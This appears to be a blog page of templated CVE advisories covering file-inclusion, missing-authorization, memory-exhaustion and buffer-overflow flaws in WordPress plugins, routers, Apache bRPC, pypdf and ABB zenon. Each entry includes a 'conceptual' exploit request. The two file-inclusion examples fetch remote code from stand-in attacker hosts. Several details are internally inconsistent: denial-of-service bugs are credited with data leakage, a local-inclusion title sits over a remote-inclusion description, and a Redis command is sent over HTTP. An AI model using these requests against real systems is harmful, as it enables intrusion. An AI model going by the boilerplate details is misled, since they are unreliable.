Author: Ameeba

  • CVE-2025-32288: PHP Remote File Inclusion Vulnerability in stmcan RT-Theme 18 | Extensions

    Overview

    The vulnerability identified as CVE-2025-32288 is a critical security flaw that impacts stmcan RT-Theme 18 Extensions. It involves an Improper Control of Filename for Include/Require Statement in PHP Program, commonly known as PHP Remote File Inclusion. The flaw is of significant concern as it opens a potential gateway for system compromise and data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-32288
    Severity: High (7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    stmcan RT-Theme 18 | Extensions: n/a – 2.4

    How the Exploit Works

    The vulnerability stems from the improper control of filenames for the include/require statement in the PHP program. An attacker can manipulate the filesystem references in PHP applications, causing the application to include a remote file that contains malicious code. This file executes on the server, offering the attacker a chance to compromise the system or leak data.

    Conceptual Example Code

    Here is a
    conceptual
    example of how the vulnerability might be exploited:

    GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
    Host: vulnerablewebsite.com

    In this example, the attacker manipulates the “file” parameter to include a remote file (malicious_file.txt) hosted on their server (attacker.com). When the request is processed, the server fetches and executes the malicious code contained in malicious_file.txt.

    Mitigation

    It is advised to apply the vendor-provided patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the risk by identifying and blocking attempts to exploit this vulnerability.

  • CVE-2025-31425: Missing Authorization Vulnerability in WP Lead Capturing Pages

    Overview

    The vulnerability identified as CVE-2025-31425 pertains to a Missing Authorization flaw, discovered in a WordPress plugin called WP Lead Capturing Pages. The impact of this vulnerability is significant, potentially leading to system compromise or data leakage. This issue affects a broad range of users, primarily website owners and administrators who utilize this plugin for lead capture purposes.

    Vulnerability Summary

    CVE ID: CVE-2025-31425
    Severity: High (7.5 CVSS v3)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    WP Lead Capturing Pages | Up to 2.3

    How the Exploit Works

    The exploit takes advantage of a flaw in the plugin’s access control configuration. An attacker could send specially crafted requests to the plugin’s functions that are supposed to be restricted to authorized users only. Due to the flaw, the plugin fails to properly validate the user’s authorization, allowing the attacker to perform actions they should not be permitted to execute.

    Conceptual Example Code

    Here is a conceptual example of how this vulnerability might be exploited:

    POST /wp-lead-capturing-pages/function HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/json
    { "malicious_payload": "Exploit Code" }

    In this example, the attacker sends a POST request to a restricted function of the plugin. The malicious payload (“Exploit Code”) is executed because the plugin fails to properly check the user’s authorization level.

    Mitigation

    Website owners and administrators are advised to apply the latest patches provided by the vendor as soon as they become available. In the meantime, it’s recommended to use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation methods.

  • CVE-2025-30639: Missing Authorization Vulnerability in ThemeAtelier IDonatePro

    Overview

    The CVE-2025-30639 vulnerability pertains to a Missing Authorization issue in the IDonatePro software by ThemeAtelier. This vulnerability can lead to potential system compromise or data leakage due to incorrectly configured access control security levels. It affects all IDonatePro versions up to 2.1.9.

    Vulnerability Summary

    CVE ID: CVE-2025-30639
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    ThemeAtelier IDonatePro | Up to 2.1.9

    How the Exploit Works

    The exploit takes advantage of the lack of proper authorization checks in IDonatePro. An attacker can bypass the security controls and gain unauthorized access to the system. Once the attacker has access, they can manipulate the data or system processes, leading to system compromise and potential data leakage.

    Conceptual Example Code

    This is a conceptual example of how the vulnerability might be exploited. In this case, an attacker sends a malicious HTTP request to the vulnerable endpoint:

    POST /idonatepro/access HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "admin_override": "true" }

    In the above example, the attacker is trying to gain unauthorized access by sending a POST request with a malicious payload that attempts to override the admin privileges.

    Mitigation and Prevention

    To prevent exploitation of this vulnerability, users should apply the vendor patch as soon as it is available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to mitigate the risk. Regular updates and security audits are also recommended to keep the system secure.

  • CVE-2025-24766: PHP Local File Inclusion Vulnerability in WP Royal Themes News Magazine X

    Overview

    The vulnerability CVE-2025-24766 is a critical flaw impacting WP Royal Themes News Magazine X, a widely used WordPress theme. The vulnerability stems from an improper control of filename for Include/Require Statement in PHP Program (PHP Remote File Inclusion). If successfully exploited, it could potentially lead to system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-24766
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: Required
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    WP Royal Themes News Magazine X | n/a – 1.2.37

    How the Exploit Works

    The vulnerability lies in the improper handling of filenames in PHP Include/Require statements. This makes it possible for an attacker to include files from remote servers, and execute arbitrary PHP code or reveal sensitive information. This is known as a PHP Remote File Inclusion (RFI) exploit.

    Conceptual Example Code

    An attacker could exploit this vulnerability by sending a specially crafted request to the server. This could look something like the following:

    GET /index.php?page=http://maliciouswebsite.com/maliciousfile.txt HTTP/1.1
    Host: target.example.com

    In this example, the `page` parameter is manipulated to include a file from a remote server (`maliciouswebsite.com`). This file (`maliciousfile.txt`) could contain arbitrary PHP code, which would be executed by the server.

    Mitigation

    To mitigate this vulnerability, users should apply the patch provided by the vendor as soon as possible. As a temporary measure, users could also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block attempts to exploit this vulnerability.

  • CVE-2025-54472: Unlimited Memory Allocation Vulnerability in Apache bRPC

    Overview

    This report discusses the CVE-2025-54472 vulnerability, a severe flaw found in all versions of Apache bRPC before 1.14.1. This vulnerability allows attackers to cause a denial-of-service attack by crashing the service. It notably affects those using bRPC as a Redis server to provide network services to untrusted clients or using bRPC as a Redis client to call untrusted Redis services. The severity of this vulnerability underscores the need for immediate remediation.

    Vulnerability Summary

    CVE ID: CVE-2025-54472
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Apache bRPC | < 1.14.1 How the Exploit Works

    The vulnerability lies within the bRPC Redis protocol parser code, which allocates memory for arrays or strings based on integers read from the network. If an unusually large integer is read, it may trigger a bad alloc error, leading to a program crash. An attacker can manipulate this weakness by sending specially crafted data packets to the bRPC service, instigating a denial-of-service attack. The 1.14.0 version attempted a fix by limiting memory allocation size, but due to an integer overflow in the limit checking code, this version remains vulnerable.

    Conceptual Example Code

    While this is not real code, it serves as a conceptual example of how the vulnerability might be exploited, by sending a large size value (e.g., 9999999999) as part of a Redis command:

    POST /brpc/redis/command HTTP/1.1
    Host: target.example.com
    Content-Type: application/redis
    *3\r\n$3\r\nSET\r\n$10\r\nmykey\r\n$9999999999\r\nmyvalue\r\n

    The above example would cause the server to attempt to allocate an exorbitant amount of memory, leading to a crash.

    Possible Mitigations

    Two primary mitigation steps are recommended:
    1. Upgrade Apache bRPC to version 1.14.1. This latest version includes a patch that addresses the vulnerability.
    2. Alternatively, apply the patch manually as provided here: https://github.com/apache/brpc/pull/3050.
    In either case, the patch limits the maximum length of memory allocated each time in the bRPC Redis parser to a default of 64MB. If your Redis request or response exceeds this size, you might encounter an error after the upgrade. Adjust the `redis_max_allocation_size` gflag to a larger limit if necessary.
    As a temporary solution, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help prevent exploitation of this vulnerability.

  • CVE-2025-55197: Critical RAM Exhaustion Vulnerability in pypdf Library

    Overview

    The CVE-2025-55197 vulnerability refers to a critical flaw within the pypdf library, a popular open-source pure-python PDF library. This vulnerability could allow an attacker to craft a malicious PDF, ultimately leading to RAM exhaustion. Any system or application utilizing versions of the pypdf library prior to 6.0.0 are affected, posing high risks of system compromise and data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-55197
    Severity: High, CVSS score 7.5
    Attack Vector: Malicious PDF file
    Privileges Required: None
    User Interaction: Required (needs to open or read the malicious PDF)
    Impact: Potential system compromise and data leakage due to RAM exhaustion

    Affected Products

    Product | Affected Versions

    pypdf | Prior to version 6.0.0

    How the Exploit Works

    The vulnerability resides in the handling of PDF files with a series of FlateDecode filters used on a malicious cross-reference stream. When the affected version of pypdf reads such a file, it can lead to RAM exhaustion, potentially causing system instability or crash. Other content streams are also affected when accessed explicitly.

    Conceptual Example Code

    Here is a pseudo-code example of how a malicious PDF might be crafted. This should not be used for malicious purposes.

    # Creating a PDF with a series of FlateDecode filters
    # (This is a conceptual example, not actual usable code.)
    pdf = PDF()
    xref_stream = XrefStream()
    # Adding a series of FlateDecode filters
    for i in range(1000000):
    xref_stream.add_filter('FlateDecode')
    # Adding the malicious xref stream to the PDF
    pdf.add_xref_stream(xref_stream)
    # Saving the malicious PDF
    pdf.save('malicious.pdf')

    Please note that this is a simplified pseudo-code to provide a basic understanding of the vulnerability. In real-world scenarios, the PDF would likely contain more complex structures and data.

  • CVE-2025-43988: Unauthenticated API Endpoint Exposure in KuWFi 5G01-X55 FL2020_V0.0.12 Devices

    Overview

    The CVE-2025-43988 vulnerability is a critical security flaw found in KuWFi 5G01-X55 FL2020_V0.0.12 devices. It exposes an unauthenticated API endpoint, enabling remote attackers to retrieve critical configuration data, including the admin credentials. This vulnerability can result in a full system compromise or data leakage, posing a significant risk to both personal and organizational security.

    Vulnerability Summary

    CVE ID: CVE-2025-43988
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, Potential data leakage

    Affected Products

    Product | Affected Versions

    KuWFi 5G01-X55 | FL2020_V0.0.12

    How the Exploit Works

    The vulnerability arises from an unauthenticated API endpoint (ajax_get.cgi) in the KuWFi 5G01-X55 FL2020_V0.0.12 devices. This endpoint does not require authentication, enabling remote attackers to send requests and retrieve sensitive configuration data, including admin credentials. Upon successful exploitation, the attacker gains access to the system, with the same privileges as the admin, leading to potential system compromise or data leakage.

    Conceptual Example Code

    An attacker could potentially exploit this vulnerability using an HTTP GET request to the exposed API endpoint. Here is a conceptual example:

    GET /ajax_get.cgi HTTP/1.1
    Host: vulnerable-device.com

    This request, when sent, would return sensitive configuration data in the response, allowing the attacker to gain unauthorized access to the affected device.

    Mitigation Guidance

    To mitigate the risk posed by CVE-2025-43988, users are advised to apply the vendor’s patch as soon as it is available. In the interim, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by monitoring and potentially blocking malicious IP addresses associated with this exploit.

  • CVE-2025-8754: Critical Missing Authentication Vulnerability in ABB Ability™ zenon

    Overview

    This report details a significant security vulnerability identified as CVE-2025-8754, which affects the ABB Ability™ zenon software. This software vulnerability pertains to missing authentication for a critical function, which could lead to potential system compromise or data leakage. The widespread use of ABB Ability™ zenon from versions 7.50 to 14 underscores the urgency of addressing this issue.

    Vulnerability Summary

    CVE ID: CVE-2025-8754
    Severity: High (7.5 CVSS)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    ABB Ability™ zenon | 7.50 through 14

    How the Exploit Works

    Due to a missing authentication check on a critical function, an attacker can send specially crafted network requests to the affected systems. The system inadvertently processes these requests without validating the requester’s identity. This flaw could allow an attacker to manipulate system settings or exfiltrate sensitive data without the need for any user interaction or privileges.

    Conceptual Example Code

    A conceptual example of an exploit might involve sending a malicious JSON payload to a vulnerable endpoint. This could look something like the following:

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "Exploit Code Here" }

    This payload, if processed by the ABB Ability™ zenon endpoint, could enable unauthorized access to critical system functions or data.

    Mitigation and Recommendations

    Users of ABB Ability™ zenon versions 7.50 through 14 are advised to apply the vendor patch as soon as possible. If immediate patching is not feasible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can act as a temporary mitigation measure. However, these solutions only reduce the risk of exploitation and do not eliminate the vulnerability. Therefore, applying the vendor patch remains the primary and most effective solution.

  • CVE-2025-50617: Buffer Overflow Vulnerability in Netis WF2880 v2.1.40207

    Overview

    A significant vulnerability, CVE-2025-50617, has been identified in Netis WF2880 v2.1.40207. This vulnerability can be potentially exploited by attackers to crash the system and mount a Denial of Service (DoS) attack. Given the prevalent use of Netis WF2880, this issue is of considerable concern and needs immediate attention.

    Vulnerability Summary

    CVE ID: CVE-2025-50617
    Severity: High (7.5 CVSS)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Netis WF2880 | v2.1.40207

    How the Exploit Works

    The vulnerability lies in the FUN_0046ed68 function of the cgitest.cgi file in Netis WF2880. A buffer overflow can be triggered by controlling the ‘wps_set’ value in the payload, leading to a system crash. This crash can then be leveraged by attackers to execute a Denial of Service (DoS) attack, potentially leading to data leakage or full system compromise.

    Conceptual Example Code

    The following is a conceptual HTTP request that could be used to exploit this vulnerability:

    POST /cgitest.cgi HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "wps_set": "OVERFLOW VALUE" }

    In the above code, ‘OVERFLOW VALUE’ would be replaced with a carefully crafted string that causes the buffer overflow, leading to system crash and potential further compromise.

  • CVE-2025-50616: Buffer Overflow Vulnerability in Netis WF2880 v2.1.40207

    Overview

    The vulnerability, identified as CVE-2025-50616, affects the Netis WF2880 v2.1.40207 and is associated with a critical buffer overflow issue. This vulnerability can lead to a Denial of Service (DoS) attack if exploited, causing the affected system to crash. The flaw resides in the cgitest.cgi file and can impact various entities using this particular version of Netis. The severity of this vulnerability highlights the importance of immediate mitigation measures.

    Vulnerability Summary

    CVE ID: CVE-2025-50616
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Netis WF2880 | v2.1.40207

    How the Exploit Works

    The exploit takes advantage of a buffer overflow vulnerability in the FUN_0046f984 function of the cgitest.cgi file. Attackers can control the value of wl_advanced_set in the payload to cause an overflow. This overflow can make the program crash and lead to a Denial of Service (DoS) attack.

    Conceptual Example Code

    Given the nature of the vulnerability, an exploit might look like this:

    POST /cgitest.cgi HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "wl_advanced_set": "<Buffer overflow inducing value>"
    }

    In this example, the “Buffer overflow inducing value” would be a specially crafted string or sequence that would exceed the buffer capacity, causing the overflow and triggering the vulnerability.

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